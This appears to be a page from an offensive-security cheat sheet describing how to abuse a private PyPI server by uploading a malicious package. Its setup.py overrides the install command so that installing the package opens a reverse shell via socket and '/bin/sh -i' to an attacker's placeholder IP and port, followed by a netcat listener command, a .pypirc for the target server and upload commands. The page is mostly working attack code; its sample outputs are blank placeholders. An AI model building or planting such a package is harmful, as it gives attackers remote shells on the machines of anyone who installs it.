Usage Tips:
- Click on a keyword to enable inline editing.
- Click inside a code block to copy (excludes comments).
- Use the button to view examples.
- Click outside to collapse all examples.
Abuse #1: Remote Pypi Server
1. Create files
mkdir evil_package
Sample Output:
TO-DO
mkdir evil_package/evil_package
Sample Output:
TO-DO
cd evil_package
Sample Output:
TO-DO
touch README.md
Sample Output:
TO-DO
touch evil_package/__init__.py
Sample Output:
TO-DO
touch setup.cfg
Sample Output:
TO-DO
touch setup.py
Sample Output:
TO-DO
2. Replace setup.py
#!/usr/bin/env python3
from setuptools.command.install import install
from setuptools import setup
import os
import socket
import subprocess
class Exploit(install):
def run(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<LOCAL_IP>",<LOCAL_PORT>)) # CHANGE HERE
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh", "-i"])
setup(name="evil_package",
version="1.0.0",
description="Evil Package",
author="user",
author_email="user@<DOMAIN>",
url="http://<DOMAIN>",
license="MIT",
zip_safe=False,
cmdclass={"install": Exploit})
Sample Output:
TO-DO
3. Create ~/.pypirc
[distutils]
index-servers =
<EXAMPLE>
[<EXAMPLE>]
repository: http://<TARGET_DOMAIN>
username: <USER>
password: <PASSWORD>
Sample Output:
TO-DO
4. Exploit
# Open a nc listener
rlwrap nc -lvnp <LOCAL_PORT>
Sample Output:
TO-DO
# Create an archive
python3 setup.py sdist
Sample Output:
TO-DO
# Upload
python3 setup.py sdist upload -r <EXAMPLE>
Sample Output:
TO-DO